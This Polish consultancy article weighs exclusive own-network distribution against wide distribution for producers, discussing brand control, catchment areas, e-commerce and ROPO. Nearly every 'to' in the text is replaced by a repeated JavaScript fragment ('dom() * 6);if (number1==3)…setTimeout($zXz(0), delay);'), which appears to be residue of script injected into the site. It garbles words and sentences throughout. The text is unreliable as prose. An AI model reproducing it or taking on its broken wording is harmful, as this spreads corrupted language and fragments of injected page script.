In Artykuły, Handel, Uniwersalne

To pytanie, które zadaje sobie wielu producentów, jeśli jednocześnie prowadzą własną sieć sprzedaży. Wcześniej jednak trzeba się zdecydować, czy dystrybucję prowadzi się samemu, czy raczej powierza się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to specjalis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom czy stawia się na model mieszany.

Inaczej jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pytanie, czy ograniczyć dystrybucję swoich produktów wyłącznie do własnej, w pełni kontrolowanej sieci, czy raczej postawić na szeroką dostępność, gdzie tylko się da. Nie ma jednoznacznej odpowiedzi, a raczej zależy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to od siły sieci sprzedaży. Zacząć jednak trzeba od tego, jaką rolę może pełnić własna sieć sprzedaży producenta.

Uwaga. „magiczna formuła sprzedaży”. Żeby w pełni świadomie podjąć decyzję o modelu dystrybucji, war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zacząć od magicznej formuły sprzedaży. Jej zrozumienie uzmysłowi wpływ decyzji na zarządzanie tą formułą, czyli sterowanie sprzedażą.

Wybór modelu dystrybucji dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedna z podstawowych decyzji, jak można zarządzać formułą. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na wszystkich jej poziomach. W sieci własnej inaczej (i w ogóle) trzeba zarządzać wejściami (np. przez lokalizacje), inaczej zarządza konwersją i paragonem (choćby przez pełną kontrolę nad kanałem).

Uwaga. „ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trzeba umieć”. Zarządzanie magiczną formułą sprzedaży dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyzwanie. Na tym naprawdę trzeba się znać, żeby dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić skutecznie. A jeśli się tego nie umie, lepiej powierzyć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to specjalistą, czyli zdecydować się na dystrybucję obcą. Jeśli jednak firma sama chce sprzedawać, lepiej, żeby zgłębiła tajniki zarządzania formułą.

Ale i dystrybucja obca stawia pod tym względem wyzwania. Tu trzeba się nauczyć zarządzać (a war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dodatkowe pieniądze) obcą powierzchnią i obcym Konceptem sprzedażowym.

Rola kanału dystrybucji w zarządzaniu magiczną formuła sprzedaży.

Uwaga. „magiczna formuła sprzedaży”. Pytanie o wyłączność dystrybucji w dużej mierze sprowadza się do tego, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to chce (i potrafi, a także ma możliwości) zarządzać magiczną formułą sprzedaży. Zarządzanie tą formułą pozwala zwiększyć sprzedaż, a o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przecież chodzi każdej firmie, która coś sprzedaje. Ale benefity na ogół czerpie ten, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zarządza tą formułą. A ten, który jest tylko jej podmiotem, dostaje tylko resztki.

Zalety i wady szerokiej dystrybucji

Zalety szerokiej dystrybucji. Wydają się oczywiste, rośnie wolumen sprzedaży, marka pojawia się w większej liczbie miejsc. Zaś ewentualne problemy (utrata kontroli nad marką) pojawią się i tak zawsze z dużym opóźnienie. Korzyści za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to są od razu, więc po co martwić się na zapas?

Uwaga. „własna sieć sprzedaży jako kanał marketingowy”. Dylematu, czy wyjść poza własną sieć raczej nie mają ci producenci, którzy prowadzą własny kanał sprzedaży, ale od razu traktując co głównie jako kanał marketingowy. W takiej sytuacji nie przeszkadzają im różnice cen (i tak nie liczą na sprzedaż w tym kanale), nie przeszkadza im nakładanie się obszarów oddziaływania placówek (w tym modelu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nawet zaleta).

Niestety, istnieją także wady szerokiej dostępności dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru, w różnych i nie w pełni kontrolowanych kanałach dystrybucji. Przede wszystkim jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to utrata kontroli nad marką. Nad jej pozycjonowaniem cenowym, a bardziej szczegółowo polityką cenową czy porównaniem z produktami konkurencji. W szerokiej dystrybucji dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to porównanie jest naturalne i pożądane, a nie zawsze jest korzystne, szczególnie jeśli duża część przychodów pochodzi z tzw. premii za markę.

Uwaga. „premia za markę”. Żeby zarobić, trzeba sprzedać. Żeby zaś sprzedać, trzeba przekonać klienta. Można go przekonać tzw. korzyścią dla klienta. Ta korzyść może być realna (wtedy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to są dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyjątkowe cechy produktu), ale może też być dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to korzyść marketingowa (czyli przekonanie, że klient tę korzyść osiąga).

Dużo korzystniej jest postawić na korzyść marketingową, gdyż tak jest po prostu taniej. Wydaje się raz (na wylansowanie marki), a następne podtrzymanie jej znajomości jest już dużo tańsze. Poza tym pozycjonowanie marki można rozciągnąć na wiele produktów (a wydaje się raz). Tymczasem korzyść realna wymaga posiadania wyjątkowej cechy, za każdym razem i w każdym produkcie. W dodatku konkurencji łatwiej jest tu dogonić firmę, naśladować cechę jest łatwiej niż naśladować markę. To wszystko powoduje, że w korzyści realne wydaje się dużo (wyjątkowa cecha kosztuje), wydaje się cały czas, a i tak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie wystarczy, gdyż konkurencja goni.

Wady szerokiej dystrybucji.

Uwaga. „kontrola nad marką”. Czym jest kontrola dysponenta nad jego marką? W przypadku podejmowania decyzji o wyborze kanału dystrybucji chodzi przede wszystkim o marketing. Ale ten marketing szeroko rozumiany, czyli wraz z marketingiem sprzedażowym. Zaś domeną marketingu sprzedażowego są miejsca styku produktu z klientem, a więc kanał dystrybucji. Może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być sieć placówek naziemnych, ale może tez być np. strona interne dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa.

Teraz czas na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby wyważy wybrane rozwiązanie. I porównać wady (i ich koszt) z zaletami.

Obszar oddziaływania

Każda placówka w „realu” ma swój obszar oddziaływania. To obszar, określony geograficznie i produk dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towo, z którego docierają do niego klienci.

Interes różnych graczy w złamaniu wyłączności dystrybucji. Inaczej patrzy na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to producent, który większość zysku realizuje w premii za markę, a inaczej dystrybu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor, który raczej maksymalizuje łączną sprzedaż, gdyż zastąpienie produktu A produktem B nie przynosi mu korzyści (może ewentualnie skorzystać na różnicy w marży).

Internet

Tu niestety (niestety dla dystrybu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tora) obszar oddziaływania właściwie nie ma ograniczeń. Jakimś ograniczeniem jest logistyka tzw. ostatniej mili (czyli dostawy do klienta końcowego), ale i tu powstaje wiele rozwiązań, w postaci różnego rodzaju punktów odbioru. Także same dostawy stają się coraz wygodniejsze i tańsze.

Uwaga. „rola ostatniej mili”. Prawdziwym ograniczeniem dla e-commerce jest dostawa do klienta. W tradycyjnym detalu zajmuje się tym zwykle sam klient, a w każdym razie nie jest świadomy jej kosztu (czyli własnego transportu). Internet ujawnił ten koszt, a wielu klientów nie chce go teraz ponieść. Jeszcze ważniejsza jest wygoda, wcześniej logistyka (nieprzyjemna i droga) była połączona z procesem poszukiwania i wybierania (na ogół przyjemnym). Obecnie te procesy są częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to rozdzielone, więc klient chce tylko dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co przyjemne.

Uwaga. „ROPO”. To sposób, aby złamać barierę obszaru oddziaływania. Zwykle proces kupowania wygląda w ten sposób. Dodatkowym wymiarem jest wygoda, koszt, ale i atrakcyjność każdego z podprocesów. Zwykle proces wyboru i porównywania są przyjemne, procesy logistyczne zaś uciążliwe i nieatrakcyjne.

Jednak off-line te składniki są na ogół połączone w jeden proces, a przynajmniej ściśle ze sobą powiązane. Tym samym obszar oddziaływania ograniczony jest tym podprocesem, który jest najtrudniejszy czy najbardziej „dotkliwy”. Zwykle tym elementem jest logistyka, z jednej strony dotarcia do produktu czy kanału zakupu, z drugiej strony odbioru dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaru.

Tymczasem sprzedaż on-line rozdziela te procesy, a przynajmniej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to umożliwia. Tym samym klient może potrak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować je osobno, zaś sprzedający może zaproponować osobne rozwiązania, dopasowane do specyfiki podprocesu. I tak np. punkty odbioru dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wygodne i mało uciążliwe rozwiązanie procesu logistyki. Fora interne dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe czy porównywarki dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to łatwe i inaczej niż on-line niedostępne rozwiązanie problemu „logistyki” dotarcia do informacji. A punkty odbioru dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z kolei wygodne i dość tanie rozwiązanie problemu ostatniej mili. W ten sposób ROPO

Podsumowanie

Producent musi wprowadzić dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towar na rynek. Ma tu przed sobą do podjęcia co najmniej jedną decyzję i lepiej, żeby zrobił dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to świadomie. O decyzja o powszechności dystrybucji. Może tu zdać się na innych, próbować równolegle prowadzić własną dystrybucję i dystrybucję zewnętrzną. W końcu może sam podjąć się dystrybucji, w oparciu o własną sieć sprzedaży.

O tym, jaką wybrać formę dystrybucji, decyduje z jednej strony kontrola nad marką (dużo większa w kanale własnym), z drugiej umiejętność zarządzania magiczną formułą sprzedaży (inaczej zarządza się w kanale własnym, inaczej w cudzym).

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.